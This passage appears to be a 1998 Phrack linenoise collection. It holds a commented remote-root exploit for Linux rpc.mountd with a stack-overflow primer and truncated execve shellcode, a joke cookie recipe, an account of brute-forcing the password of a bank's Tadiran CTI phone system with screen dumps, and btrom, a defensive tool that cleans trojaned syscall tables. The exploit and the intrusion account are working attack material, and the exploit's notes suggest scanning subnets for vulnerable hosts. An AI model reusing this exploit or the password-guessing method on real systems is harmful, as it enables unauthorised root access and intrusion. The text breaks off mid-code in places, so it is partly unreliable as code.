nuuB

```
<++> linenoise/mountd-sploit.c
/*
 * mountd-sploit.c - Sploit for Linux mountd-2.2beta29+ (and earlier). Will
 *                   give a remote root shell.
 *
 * Cleaned up, documented and submitted to Phrack on Sep 3 1998.
 *
 * I've included a quick primer on stack overflows and made lots of comments
 * in the code, so if you don't know how these stack overflow exploits work
 * take this opportunity to learn something.
 *
 * It is trivial to extend the code (or use scripting) to make something that
 * automatically scans subnets or lists of IPs to find vulnerable systems.
 * This is left as an exercise for the enterprising young hax0rs out there.
 *
 * You need the following RPC files for your particular architecture:
 *
 *   nfsmount.h
 *   nfsmount_xdr.c
 *
 * These can be generated from 'mount.x' by the 'rpcgen' utility. I simply
 * lifted the files that came pre-generated with Linux 'mount'. These are
 * included uuencoded, but they may not work on your particular system. Don't
 * bug me about this.
 *
 * Compile with:
 *
 * cc mountd-sploit.c nfsmount_xdr.c -o mountd-sploit
 *
 * Have fun, but as always, BEHAVE!
 *
 * /nuuB
 */

/*
A QUICK PRIMER ON STACK OVERFLOWS
~~~~~
```

Read Aleph1's article in Phrack Issue 49 File 14 (P49-14) for a detailed explanation on how to write exploits (the examples are for Linux/i386 but the methodology is valid for any Unix, and can be applied to other OS's once you understand the technique). If you are targeting one of Bill's OS check out cDc #351: "The Tao of Windows Buffer Overflow" by DilDog.

The properties that we take advantage of are:

- * The stack memory pages have the execute bit set
- * The return address from functions are stored on the stack on a higher address than the local variables.

MEMORY MAP

```
-- Start of stack (i.e bottom of stack - top of memory) e.g 0xc0000000 --  
<environment variables>  
<stack frames from main() down to the function calling our function>  
<arguments to the vulnerable function>  
<return address *>  
<frame pointer for prev frame - unless compiled with -fomit-frame-pointer>  
<local variables for the vulnerable function>  
-- Top of stack (lower memory address) e.g 0xbffff9c8 --
```

THE OVERFLOW

The trick is to overflow a local variable that is set through a function that doesn't check for overflows (strcpy, sprintf, etc). By supplying a (too) long string you can overwrite memory at higher addresses, i.e closer to the start of the stack. More specifically we want to overwrite `<return address *>` with a pointer that points back into the stack that contains code we want executed. Getting the code on the stack is done by including it in the string we are overflowing with, or by placing it in an environment variable.

The code can do anything you like, but the standard thing is to `execve()` a shell. There are often limitations on what the code can look like in order to be placed unmangled on the stack (length, touppper(), tolower(), NULL bytes, path stripping etc). It all depends on how the target program processes the input we feed it. Be prepared for some tinkering to avoid certain byte patterns and to make the code use PC/IP relative addressing.

The overflow string (called the 'egg') is normally passed to the target program through command line arguments, environment variables, tcp connections or in udp packets.

POSSIBLE COMPLICATIONS

Sometimes you will destroy other local variables with your egg (depends on how the compiler ordered the variables on the stack). If you use a long enough egg you could also trash the arguments to the function. As your code isn't executed until the vulnerable function returns (not at the return of the function doing the actual overflowing, e.g strcpy()), you must make sure that the corrupted variables don't cause a crash before the return. This means that your egg probably has to be aligned perfectly, i.e only use one return pointer and precede it with 'correct' values for the local variables you are trashing. Unfortunately the ordering of the variables is often dependent on what compiler options were used. Optimization in particular can shuffle things around. This means that your exploit will sometimes have to target a particular set of options.

Most of the time the trashing of other local variables isn't a problem but you may very well run into it some day.

THE RETURN POINTER

The only problem left is to guess the right address to jump to (i.e the return pointer). This is done either by trial and error or by examining the executable (requires you have access to a system identical to the target). A good way to get a reasonable starting value is to find out how much environment variables the target process has (hint: use 'ps uxawwwwwwwwe') and combine that with the base stack pointer (you can find that out with a one line program that shows the value of the stack pointer). To increase the chances of success it is customary to fill out the start of the egg with NOP opcodes, thus as long as the pointer happens to point somewhere in the egg before the actual code it will execute the NOPs then the code.

That is all there is to it.

```
*/  
  
/*  
* Now, back to our case study.  
*  
* Target: rpc.mountd:logging.c  
*  
* void Dprintf(int kind, const char *fmt, ...) {  
*     char buff[1024];  
*     va_list args;  
*     time_t now;  
*     struct tm *tm;  
*  
*     if (!(kind & (L_FATAL | L_ERROR | L_WARNING))  
*         && !(logging && (kind & dbg_mask)))  
*         return;  
*  
*     ...  
*     vsprintf(buff, fmt, args);    <-- This is where the overflow is done.  
*     ...  
*     if (kind & L_FATAL)  
*         exit(1);  
* }    <-- This is where our code (hopefully) gets executed  
*  
* This function is called from (e.g) mountd.c in svc_req() as follows:  
*  
* #ifdef WANT_LOG_MOUNTS  
*     Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n",  
*             inet_ntoa(addr), argbuf);  
* #endif  
*  
* Looks great (WANT_LOG_MOUNTS appears to be defined by default). Type  
* L_WARNING is always logged, and all we have to do is to try to mount  
* something we are not allowed to (i.e as long as we are not included in  
* /etc/exports we will be logged and get a chance to overflow).  
*  
* The only complication is the first %s that we will have to compensate for  
* in the egg (our pointers must be aligned correctly).  
*  
* We use 5 pointers to avoid problems related to how the compiler organized  
* the variables on the stack and if the executable was compiled with or  
* without -fomit-frame-pointer.  
*  
* 3 other local variables (size=3*4) + 1 frame-pointer + 1 return pointer = 5  
*  
* Still plenty of room left for NOPs in the egg. We do have to make sure that  
* if the 3 other variables are trashed it won't cause any problems. Examining
```

```

* the function we see that 'now' and 'tm' are initialized after the vsprintf()
* and are thus not a problem. However there is a call 'va_end(args)' to end
* the processing of the ellipsis which might be a problem. Luckily this is
* a NOP under Linux. Finally we might have trashed one of the arguments
* 'kind' or 'fmt'. The latter is never used after the vsprintf() but 'kind'
* will cause a exit(1) (bad!) if kind&L_FATAL is true (L_FATAL=0x0008).
* Again, we are in luck. 'kind' is referenced earlier in the function and in
* several other places so the compiler has graciously placed it in a register
* for us. Thus we can trash the arguments all we want.
*
* Actually, if you examine the executables of mountd in the common distros
* you will find that you don't have to trash any variables at all as 'buffer'
* is placed just before the frame pointer and the return address. We could
* have used a simple egg with just one pointer and this would have worked
* just as well in practise.
*
* All this 'luck' is in fact rather common and is the reason why most buffer
* overflows are easy to write so they work most of the time.
*
* Ok. Delivery of the egg is done through the RPC protocol. I won't go into
* details here. If you are interested, get the sources for the servers and
* clients involved. Half the fun is figuring out how to get the egg in place.
*
* The last piece of the puzzle is to keep shoveling data from the local
* terminal over the TCP connection to the shell and back (remember that
* we used dup2() to connect the shell's stdout/in/err to the TCP connection).
*
* Details below.
*/

```

```

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <fcntl.h>
#include <signal.h>

```

```

#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>

```

```

#include "nfsmount.h"

```

```

/*
* First we need to write the code we want executed.
*
* C0de: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh");
*
* setreuid() is probably not necessary, but can't hurt.
*
* fork() is done to change pid. This is needed as someone - probably the
* portmapper - sends signals to mountd (the shell has no handlers for these
* and would die).
*
* The dup2()'s connect stdout/stderr to the TCP socket.
*
* The code assumes 'mountd' communicates with the client using descriptor
* zero. This is the case when it is started as a daemon, but may not be so if
* it is launched from inetd (I couldn't be bothered to test this). The

```

```

* dup2()'s may need to be changed accordingly if so.
*
* For Linux/i386 we would get:
*/

#if 0

void c0de() {
    __asm__(
        "jmp .get_string_addr\n\t" /* Trick to get address of our string */
        ".d01t:\n\t"

        "xorl %eax,%eax\n\t"
        "movl %eax,%ebx\n\t" /* ruid=0 */
        "movl %eax,%ecx\n\t" /* euid=0 */
        "movb $0x46,%eax\n\t" /* __NR_setreuid */
        "int $0x8

```

0x3>-----

Eleet ch0c0late chlP co0kies

by Juliet

The chocolate chip cookies is an old exploit. You can use it to bribe your teachers, sysadmins, bosses, even feds. Never underestimate the cookie. Picture this.. little girlie walks up to you in the NOC.. offers you a home-baked chocolate chip cookie! She must be someone's secretray.. or something.. wow she sure fooled you.. anyway.. bake them.. they are good.. DO NOT substitue ingrediants.. other than like M&M's for chocolate chips..

```

1 cup (packed) golden brown sugar
1/2 cup sugar
1/2 cup solid vegetable shortening, room temperature
1/2 cup (1 stick) unsalted butter, room temperature
2 large eggs
1 tablespoon vanilla extract
3 cups all purpose flour
1 teaspoon baking soda
1 teaspoon salt
1 12-ounce package semisweet chocolate chips

```

Preheat oven to 350F. Using electric mixer, beat both sugars, shortening and butter in large bowl until light and fluffy. Beat in eggs and vanilla. Mix flour, baking soda and salt in large bowl. Add dry ingredients to butter mixture and mix until blended. Stir in chocolate chips.

Drop dough by heaping tablespoonfuls onto heavy large baking sheets, spacing 2 inches apart. Bake until golden brown, about 12 minutes. Transfer baking sheets to racks; cool 5 minutes. Transfer cookies to racks; cool completely.

Makes about 42 cookies.. or you can make ONE BIG pan cookie

0x4>-----

- Tadiran; Computer Telephony Integration (CTI) -
 Blakboot <blakboot@darkcartel.com>

Introduction

=====

Hello everyone. This article is primarily about Tadiran Telecommunications software and hardware used to synchronize computer applications with phone calls. I will be refering to system version 9.63.03.01 and any variants as just 'Tadiran'. From firsthand experiences with this type of system I've found that they can be configured to do many things, from trunk timers to on hold music.

Although a very powerful system, the Tadiran lacks basic security. This is a no no, especially when it provides worldwide technologies for all types of industries, including banking.

The issue of lack of security is mainly why I wanted to write this article. The Tadiran is very much open to intrusion.

How it began

=====

A phreak friend of mine, Mf-Man, and I were scanning for loops, we found a carrier. We took a short look at the system for a while, until our interests waned and took us elsewhere..

Months later, bored, I dialed into the system, with plans of throwing a dictionary file at it at steady pace (Tadiran, only requires a password for authentication).

So, I just sat back, and waited... After a long while, to my gleeful surprise, it cracked! I (like many others before me) did that zealous happy dance.

This system, Tadiran, is rather cryptic without documentation. Even still, I managed to dig up some interesting info. This system I managed to get into was that of a CTI system from a well known bank. The major flaws thus far (I plan to write a more in depth article):

- * Unlimited password attempts.
- * No login names.
- * A password prompt that responds, well, promptly.

What follows are some screen shots of the Tadiran system.

The system

=====

```
Password prompt:      ENTER PASSWORD
Bad password Msg.:    ILL PASSWORD , TRY AGAIN !
System prompt:        *:
Enviroment:           Tree menus; menus branch from root, and so on.
```

-This the root menu, the menu sent upon login.-

```
(ROOT)
CCS          9.63.03.01      SMDI & 24SDT
Copyright (c) 1991-1997 Tadiran Telecommunications Ltd.
NAME  - xxxxxxxxxx
SAU # -   xxxx
  0-CONFIG
  1-DIAGN
  2-TABLES
```


3-ADMIN
4-ROUTING/COST
5-ISDN
6-DATA
7-CoraLINK
8-NETWORK
9-HELP

Any of the menus/options can be choosen by number, or name.

Control keys:

^C / ESC ----- Go back 1 menu.

^T ----- Displays account and system information.

EXAMPLE:

CCS: xxxxxxxx xxx-xx-1998 10:48pm
Terminal No.: 4, Password level: 0
Software Version: 9.63.03.01 SMDI & 24SDT

^P ----- Relogin.

/* There are others--they seem have something to do with emulation,
and scrolling. */

Menu descriptions - ment for reference.

=====

This is a list of globally accessable menus, available by typing, "HELP"
<Note> I've "x"'d out all group names from the original system this
information was recovered from.

PI MESSAGES	=(MSG)	FEAT. & AUTH. =(FEAT)	SMDR CONTROL	=(SMDR)	
47/8T CARD_DB	=(TKDB)	FEATURE TIMERS=(FE.T)	STATION TIMERS	=(ST.T)	
ALT ROUT TK.GRP	=(ROUT)	GROUPS	=(GROUP)	SYSTEM GEN.	=(SYSGEN)
xxxx/xxx GROUP	=(xxxx)	xxxxxxx GROUP	=(xxxx)	SYS FEATURES	=(SFE)
xxxx GROUP	=(xxxx)	IST/SLT CARD_DB	=(STDB)	SYS TIME SET-UP	=(TIME)
BUSY PORTS	=(BUSY)	IST/SLT DEF.	=(SLT)	TERMINAL SET-UP	=(TERM)
CARD DATA-BASE	=(CDB)	LCR/ROUTING	=(LCR)	TOLL BARRIER	=(TOLL)
CARD LIST	=(CLIS)	xxxxxxxxx	=(xxx)	TONE PLAN	=(TON)
CLASS OF SERVICE	=(COS)	xxxxxxxxxxxxxxx	=(xxxxx)	TRUNK DEFINITION	=(TRK)
COST_CALC.	=(COST)	NUMBERING PLAN	=(NPL)	TRUNK_GROUP	=(TKGP)
DATA SERVICES	=(DATA)	PICKUP GROUP	=(PICK)	TRUNK GRP DEF	=(TGDEF)
xxxx CARD DB	=(DIDB)	PORT DATABASE	=(PDB)	TRUNK PORTS	=(TRUNK)
xxx/xxx GROUP	=(DIDG)	PORT LIST	=(PLIS)	TRUNK TIMERS	=(TK.T)
DIGITAL TRUNK	=(DTDB)	PREFERENCE	=(PREF)	WAKEUP	=(WAKEUP)
KEY DEFINITION	=(KEY)	DIGITAL BUS LIST	=(DLIS)	ZONED GROUP	=(VPZ)
KEY PROGRAMING	=(PROG)	RINGER P.S.	=(RPS)	VFAC	=(VFAC)
KEYSET TIMERS	=(EK.T)	SIZES DEF	=(SIZ)	GROUP CALL	=(CALL)

PI MESSAGES - Terminal setup, diag/stim.

47/8T CARD_DB - Card information. Example:

LS_RING_PAUS (sec)- 5
GS_RING_PAUS (sec)- 1
O/G BREAK_TIME (ms)- 60
O/G MAKE_TIME (ms)- 40
O/G INTERDGT_T (ms)- 800
GS_DISCONNECT (ms)- 800
METER (4TMR) :
f0 (0=16K,1=12K,2=50Hz)- 0

f0 ACCURACY +/- (1-10)% - 3
METER_AFTER_DISCONNECT (Y/N) - N

ALT ROUT TK.GRP - Add, display, update, or remove trunk group.

BUSY PORTS - Displays what ports are busy.

CARD DATA-BASE - List many submenus of card, in which you may get/update

CARD LIST - EXAMPLE:

shelf#/slot#	p_type	i_type	card_db#	vers/subver	status
0 / 1	NO_CARD	NO_CARD	---	---	---
0 / 2	8DTR/S	NO_CARD	---	17 8	ACTIVE
0 / 3	T1	T1	1	14 38	ACTIVE

CLASS OF SERVICE - ST/TK, and ATT show all kinds of information on trunk control. TENANTS deals with group access.

COST_CALC. - Information about costs for certain services, at various times.

DIGITAL TRUNK - Card/trunk information, configuration, channel signaling.

KEY DEFINITION - Telephone configuration

EXAMPLE:

prm_cos-	1	sec_cos-	1	priv_libs-	12	terminal-	N
origin-	N	block-	N	o/g_tk_rest-	N	privacy-	Y
excl_hold-	N	hard_hold-	N	last_num-	Y	security-	N
att-	Y	auto_unatt-	N	passcode-	NONE	check_out-	N
multi_app-	Y	m.a.mute_ring-	Y	mute_ring-	Y		
auto_ans-	N	idle_disp.-	Y	keyclick-	Y	music-	Y
music_num-	0	v_page_in-	Y	auto_ans_v_p-	Y	auto_hld/xfer/off-	1
spkr_on/off-	Y	blind_att-	N	pcc-	Y	pc_acd-	N
mic-	Y	comb_audio-	N	display_size-	NO_DSP	language-	DEFAULT
but_num-	2	ksi-	N	ksi_type-	0		
eis-	N	send_id-	Y	ali-	NONE	aoc-e_display-	N

alert_makecall-N
active dpem id's- NONE installed dpems- 1
dkt: spkr_environment- 1
music_on_hold - 0

KEYSET TIMERS - EXAMPLE:

1 unit = 0.1 sec.

AUTO_ANSWER	-	10
AUTO_ANS_V_PAGE	-	10
TONE_TO_IDLE	-	10
AOC-E_DISPLAY	-	300
MUTE_RING	-	50

FEAT. & AUTH - Authorizations, and system features. Check here to see if Call trace OR caller ID is active.

FEATURE TIMERS - This is a bit interesting.

EXAMPLE:

```
* (1 unit =1.0 sec)
** (1 unit =0.1 sec)
*** (1 unit =0.01 sec)
*AUTO_REDIAL- 30
*REMIND_SNOOZE- 60
*WAKEUP_SNOOZE- 60
**WAKEUP_RING - 300
**NET_FEATURE_ACK- 40
**SUSP_OFFHK- 5
BELL_RING:
**ON_BELL - 10
**OFF_BELL - 20
**ATT.MSG- 50
**EXPENSIVE_ROUTE_TONE - 10
```


5	Silence	1	0	0	0	0	0	0	0	0	0	0	0	0	
6	Tick	3	2	5	60	0	1000	0	0	0	0	0	0	0	
8	Confirm	3	2	1	100	0	100	0	0	0	0	0	0	0	
9	BRK_In/Out	1	0	5	0	0	0	0	0	0	0	0	0	0	
11	V.P Conf	3	2	3	100	5	100	0	0	0	0	0	0	0	
12	Z.P Warn	3	2	6	300	3	100	0	0	0	0	0	0	0	
14	LCR_expens	2	6	0	120	5	80	0	120	5	80	0	120	5	80
15	LCR_cheap	2	4	0	120	5	80	0	120	5	80	0	0	0	0
16	Call Wait	3	4	5	600	0	5000	0	5000	0	5000	0	0	0	0
17	DISA Dial	1	0	1	0	0	0	0	0	0	0	0	0	0	0

TRUNK DEFINITION - EXAMPLE:

```
DISA (0-NO /1-IMMED. /2-DELAY)- 0
COS.- 10
TK_TIMER#- 1
TYPE (0-PULSE /1-DTMF /2-MIX)- 1
I/C_ONLY-N
O/G_ONLY-N
BUSY_OUT-N
AUTO_GUARD-N
HOT_IMMED-N
HOT_DELAY-N
DROP_NO_DIAL-N
RSRVD_TO- NONE
CALLER_ID_TIMEOUT - 50
```

TRUNK TIMERS - EXAMPLE:

```
H.FLASH(10ms)- 67
INCOMING :
E&M_SEIZE_TO_WINK- 1
E&M_CONT_WINK_TIME- 2
OUTGOING :
E&M_CONT_WINK/SG_DELAY- 1
SEIZE_TO_DIAL- 15
SECOND_DIAL_TONE- 60
```

VFAC - Account maintance. - Requires password.

---The ones that I didn't list were either self-explanitory, or N/A

```
0x5>-----
b t r o m                                     b y   r i q
```

```
"trojan eraser or i want my system call table clean"
```

i n t r o d u c t i o n

The other day, I started to play with the itf that appeared in P52-18 (read that article if you want to know what it does, etc). It ocured to me one good way to determine if someone has installed the trojan (and to subsequently remove it) is by fixing the system call table. This program tries to do that. This works with the the linux x86 2.0 and 2.2 series.

i n t e r n a l s

The program first attempts to detect if you are using a BIG_KERNEL (a bzImage) or not (a zImage). One of the differences is the address of the kernel in memory. BIG_KERNEL starts at 0xc0000000 while the other starts at 0x00100000.

The system call table (sct) has the entries of all the system calls. If you modify the sct, the new entry must be 'out of range'. btrom will try to fix these 'out of range' system calls with their original values. They are taken from the System.map. What i mean with "'out of range'" is an entry that has a value out of the start_of_the_kernel and the_start_of_the_kernel + some_value. This value is in the config.h

q u i c k i n s t a l l

compile:

- 1) edit config.h and Makefile. Modify it if you want.
 \$ vi config.h
 \$ vi Makefile
- 2) make
 \$ make

use:

- 1) be root
 \$ su -
- 2) install the module mbtrom
 # insmod mbtrom
- 3) run btrom
 # ./btrom _nr_mbtrom_ [options]
- 4) uninstall the module mbtrom
 # rmmod mbtrom

c h a c h a r a

1st part: detect trojans legends
[] this is ok. dont worry
[N] this is a null enter in the system call table. dont worry.
[-] this is the entry of the module mbtrom. dont worry.
[?] this entry has a system function, but it was supposed to be null. worry
[*] this is probably a trojan in a reserved space. worry.
[!] this is probably a trojan in a not reserved space. worry.

2nd part: clean trojans legends
<s> press 's' to fill this entry with the System.map's value.
<c> press 'c' to clean this entry. it will be filled with a null entry.
<m> press 'm' to put in this entry a manual hexa address.
<i> press 'i' to ignore, skip, what you want.

n o t e s

this program doesnt uninstall trojan modules.
this program disables the trojans, so, after that,
you can uninstall the trojan with 'rmmod'.

b u g s

if 'insmod mbtrom' doesn't return any value, is because you are redirecting that message with syslogd. Please check /etc/syslog.conf and see "kern".

h i s t o r y

- * version 0.3 (01/12/98) compatible with kernel 2.0 y 2.2.
works with BIG_KERNEL and with SMALL
english version
- * version 0.2 (25/11/98) first version
- * version 0.1 (21/11/98) something really ugly
- * all this happened when i see the itf (integrated trojan facility in P52-18)

f e e d b a c k

riq@ciudad.com.ar

<++> linenoise/btrom/Makefile

```
#
# Makefile del  b t r o m
#

## BUG. This must be the same as the one in config.h
SYSTEM_MAP = "/usr/src/linux/System.map"
```

```
AWK      = awk
CC        = gcc
#CFLAGS  = -DSYSTEM_MAP=$(SYSTEM_MAP)
```

all: parse btrom mbtrom

```
parse:
    $(AWK) -f sys_null.awk $(SYSTEM_MAP) > sys_null.h
```

```
btrom: btrom.o
    $(CC) btrom.c -O2 -Wall -o btrom
```

```
mbtrom:
    $(CC) -c -O3 -Wall -fomit-frame-pointer mbtrom.c
```

```
clean:
    rm -f mbtrom.o btrom.o btrom sys_null.h
```

<-->

<++> linenoise/btrom/btrom.c

```
/*
 * btrom - Borra Trojanos Modulo
 * por Riq
 * 1/Dic/98: 0.3 - Compatible con kernel 2.2 y soporta BIG_KERNEL
 * 25/Nov/98: 0.2 - Version inicial. Soporta kernel 2.0 i386
 */
```

```
#include <stdio.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fnmatch.h>
#include <strings.h>
#include <linux/sys.h>
```

```

#include "config.h"
#include "sys_null.h"

FILE *sm;
FILE *au;
int quiet;
int borrar;
int dif_n_s;
unsigned int big_kernel;

/*****
    System.map
*****/
int sm_b_x_nom( unsigned int *address, char *estoy )
{
    char buffer[200];
    char sys_add[20];

    fseek(sm, 0L, SEEK_SET);
    while( fgets(buffer, 200, sm) ) {
        if( fnmatch(estoy, buffer, 0) == 0 ) {
            strncpy(sys_add, buffer, 8);
            sys_add[8] = 0;
            *address = strtoul(sys_add, (char **)NULL, 16);
            return 1;
        }
    }
    return 0;
}

int sm_busca_x_nombre( unsigned int *address, char *estoy )
{
    char nombre[50];

    sprintf(nombre, "%T sys_%s\n", estoy);
    return sm_b_x_nom(address, nombre);
}

FILE* sm_open()
{
    return fopen( SYSTEM_MAP, "r" );
}

/*****
    asm/unistd.h
*****/
void au_dame_el_nombre( char *dst, char *orig )
{
    int i, j;

    j = i = 0;
    while( orig[i] != '_' )
        i++;
    i = i + 5;
    while( orig[i] != ' ' && orig[i] != '\t' )
        dst[j++] = orig[i++];
    dst[j] = 0;
}

int au_b_x_num( char *nombre, int numero )
{
    char buffer[200];
    char buscar[50];

```

```

/* FIXME: ?sera mas efectivo regexec() que fnmatch()? */
sprintf(buscar,AU_PREFIX"%i*",numero);
while( fgets(buffer,200,au) ) {
    if( fnmatch(buscar,buffer,0)==0 ) {
        au_dame_el_nombre(nombre,buffer);
        return 1;
    }
}
/* No encuentre... entonces una segunda pasada */
fseek(au,0L,SEEK_SET);
while( fgets(buffer,200,au) ) {
    if( fnmatch(buscar,buffer,0)==0 ) {
        au_dame_el_nombre(nombre,buffer);
        return 1;
    }
}
return 0;
}

int au_busca_x_numero(char *nombre, int numero)
{
    return au_b_x_num(nombre,numero);
}

FILE* au_open()
{
    return fopen( ASM_UNISTD, "r" );
}

/*****
/* Comun a la primer y segunda recorrida */
*****/
int comun_1er_2da( int j, int i , char *nombre , char *c, int clean, unsigned int retval)
{
    int a;
    a = clean;
    nombre[0]=0;
    /* bug fix */

    /* i!=0 porque el asm/unistd del kernel 2.2 no viene */
    if( i!=0 && au && au_busca_x_numero(nombre,i) ) {
        if( retval > big_kernel + LIMITE_SYSCALL ) {
            *c = '*';
            clean++;
        } else
            *c = ' ';
    } else {
        if( retval > big_kernel+LIMITE_SYSCALL )
            *c = '!';
        else
            *c = '?';
        clean++;
    }
    if(i==j) {
        *c='-';
        clean=a;
        /* modulo btrom */
    } else if(retval==SYS_NULL || retval==0) { /* Null pointer */
        *c='N';
        clean=a;
    }
    return clean;
}

```



```

/*****
    primer_recorrida: Detectar troyanos
*****/
int primer_recorrida(int j)
{
    char nombre[50];
    int address;
    int i,old_clean,clean;
    unsigned int retval;
    char c;

    old_clean=clean=0;
    printf( "\n1st part: Detect trojans\n"
           "                [ ]=OK [N]=Null [-]=btrom\n"
           "                [?] Mmm...syscall\n"
           "                Address [*][!]=trojan routine\n"
           "    now      System.map Num [ ] Syscall Name\n"
           "-----\n");

    for( i=0; i< NR_syscalls; i++ ){
        __asm__ volatile (
            "int $0x80":"=a" (retval):"0"(j),
            "b"((long) (i)),
            "c"((long) (0)),
            "d"((long) (0)));

        clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
        if( !quiet || clean > old_clean ) {
            if( nombre[0]!=0 ) {
                if( sm && sm_busca_x_nombre(&address,nombre)) {
                    if(retval!=address && retval < big_kerne
l + LIMITE_SYSCALL) {
                        dif_n_s++;
                        printf("%8x!%8x %3i [%c] %s\n",
retval,address,i,c,nombre);
                        } else printf("%8x %8x %3i [%c] %s\n",r
etval,address,i,c,nombre);
                        } else printf("%8x
                        %3i [%c] %s\n",retv
al,i,c,nombre);
                        } else printf("%8x
                        %3i [%c]\n",retval,i,c);
                        old_clean = clean;
                    }
                }
            }
        return clean;
    }
}

/*****
    segunda_recorrida: Limpiar troyanos
*****/
int segunda_recorrida(int j)
{
    char nombre[50],dire[50];
    int address;
    int i,old_clean,clean,retval,key;
    char c;
    unsigned int k;

    old_clean=clean=0;
    printf( "\n2nd part: Clean Trojans\n"
           "                s = System.map address\n"
           "                c = clean address\n"
           "                m = manual address\n"

```

```

        "                i = ignore\n"
        "    now    System.map Num [ ] Syscall Name\n"
        "-----\n");

for( i=0; i< NR_syscalls ; i++ ){
    __asm__ volatile (
        "int $0x80":"=a" (retval):"0"(j),
        "b"((long) (i)),
        "c"((long) (0)),
        "d"((long) (0)));

    clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
    if( clean > old_clean ) {
        if( nombre[0]!=0 ) {
            if( sm && sm_busca_x_nombre(&address,nombre)) {
                if(retval!=address && retval < big_kerne
l + LIMITE_SYSCALL) {
                    dif_n_s++;
                    printf("%8x!%8x %3i  [%c] %s <s/
c/m/I>?",retval,address,i,c,nombre);
                } else printf("%8x %8x %3i  [%c] %s <s/c
/m/I>?",retval,address,i,c,nombre);
            } else printf("%8x          %3i  [%c] %s <c/m/I>
?",retval,i,c,nombre);
        } else printf("%8x          %3i  [%c] <c/m/I> ?",retval,
i,c);

        old_clean = clean;

        fseek(stdin,0L,SEEK_END);
        key=fgetc(stdin);
        switch(key) {
            case 's':
                k = address;
                break;
            case 'c':
                k = SYS_NULL;
                break;
            case 'm':
                printf("Enter an hexa address (ex: 001a1
b):");

                fseek(stdin,0L,SEEK_END);
                fgets( dire,50,stdin );
                k = strtoul(dire,(char **)NULL,16);
                break;
            default:
                k=1;
                break;
        }
        /* FIXME: 1 no se puede poner como address */
        if(k!=1)
            __asm__ volatile (
                "int $0x80":"=a" (retval):"0"(j),
                "b"((long) (i)),
                "c"((long) (1)),
                "d"((long) (k)));
    }
}
return clean;
}

void help()
{
    printf( "\nUsage: btrom nr_of_mbtrom [-c] [-v]\n"

```

```

\t1) Install the module mbtrom with 'insmod mbtrom'\n"
\t2) The module must return a value.If not see the README->bugs
\n"

\t\tbtrom value_returned_by_mbtrom [-c] [-v]\n"
\t\t'v' is verbose. Recommended\n"
\t\t'c' is clean. Cleans the trojans\n"
\t3) Uninstall the module mbtrom with 'rmmod mbtrom'\n"
\n"
\tExamples:\n"
\t\tbtrom 215 -cv\n"
\t\tbtrom 214 -v\n"
\t\tbtrom 215\n"
\nWarning: Dont put random numbers. Be careful with that!"
\nRecommended: Do 'btrom _number_ -v' before a cleaning\n\n"
);
exit(-1);
}

void chequear_argumentos( char *parametros )
{
    int i,j;
    i=strlen(parametros);

    if(parametros[0]!='-') help();

    for(j=1;j<i;j++) {
        switch(parametros[j]) {
            case 'c':
                borrar = 1;
                break;
            case 'v':
                quiet = 0;
                break;
            default:
                help();
        }
    }
}

int main(int argc, char **argv, char **envp )
{
    unsigned int retval;
    int clean;
    int i;

    printf( "\n\n"
            "b t r o m                               b y   r i q\n"
            "v"VERSION"\n");

    if(argc <2 || argc >3 ) help();

    quiet = 1; borrar = 0 ;
    if( argc==3) chequear_argumentos(argv[2]);

    au = au_open();
    sm = sm_open();
    if(!au && !quiet)
        printf("Error while opening 'asm/unistd.h' in '\"ASM_UNISTD\"'\n");
;
    if(!sm && !quiet)
        printf("Error while opening 'System.map' in '\"SYSTEM_MAP\"'\n");

    dif_n_s=0;

```

```

/* __NR_mbtrom number */
i = atoi( argv[1] );
if(!i)
    help();

/* Chequeo si es BIG_KERNEL o no */
__asm__ volatile (
    "int $0x80":"=a" (retval):"0"(i),
    "b"((long) (0)),
    "c"((long) (2)),
    "d"((long) (0)));

big_kernel =(retval>BIG_KERNEL?BIG_KERNEL:SMALL_KERNEL);

/* Primer recorrida */
clean = primer_recorrida( i );

/* Mensaje del senior btrom */
printf( "\nb t r o m   s a y s:\n");
if(dif_n_s>0) {
    printf( "Your System.map seems to have a problem.\n");
    if(dif_n_s<SYSMAP_LIMIT)
        printf( "Wait. Perhaps this is not a System.map problem,
\n"
                "but something related with the new functions na
mes.\n"
                );
    else
        printf( "Are you sure that you have a valid System.map ?
\n");
    if(clean)
        printf( "Oh no! The problem is the trojan that you have
;-)\n");
}

if(!clean) {
    printf( "You system call table seems to be clean.\n");
    if(quiet)
        printf("If you want to be more sure use the '-v' option\
n");
} else {
    printf( "\nWhat do you want to do with the trojan?\n"
           "What about cleaning it with `btrom _numero_ -c'? \n" );
}

/* Ah borrar los trojanos se ha dicho */
if(borrar && clean) {
    if(au)
        fseek(au,0L,SEEK_SET);
    if(sm)
        fseek(sm,0L,SEEK_SET);

    segunda_recorrida( i );
}

if(au)
    fclose(au);
if(sm)

```

```

        fclose(sm);

    return 0;
}
<-->
<++> linenoise/btrom/config.h
/*
    config.h
    usado por btrom.c y mbtrom.c
*/

/*
    Modificar segun los gustos
*/

/* Numero que uno supone que esta vacio en la sys_call_table */
#define NUMERO_VACIO 215

/* Path al archivo System.map */
/* Si Ud. nunca compilo el kernel tal vez sea /boot/System.map */
/* FIXME: Usar el define del Makefile para no definir esto en 2 partes */
#ifndef SYSTEM_MAP
    #define SYSTEM_MAP "/usr/src/linux/System.map"
#endif

/* Hay problemas con old y new. Gralmente no es problema de la System.map */
#define SYSMAP_LIMIT 8

/* Path al archivo asm/unistd.h */
#define ASM_UNISTD "/usr/include/asm/unistd.h"

/* Prefijo a buscar en asm/unistd.h */
#define AU_PREFIX "#define*__NR*"

/* Hasta donde llega el kernel space */
/* FIXME: No se cual es el limite realmente. Igual con esto anda :-) */
#define LIMITE_SYSCALL 0x00300000

/*
    No modificar
*/
/* Version del btrom */
#define VERSION "0.3"

/* BIG_KERNEL y SMALL_KERNEL */
#define BIG_KERNEL 0xc0000000
#define SMALL_KERNEL 0x00100000
<-->
<++> linenoise/btrom/mbtrom.c
/*
    * modulo del btrom - Borra Trojanos Modulo
    * 25/11/98 - por Riq
    *
    * compile with:
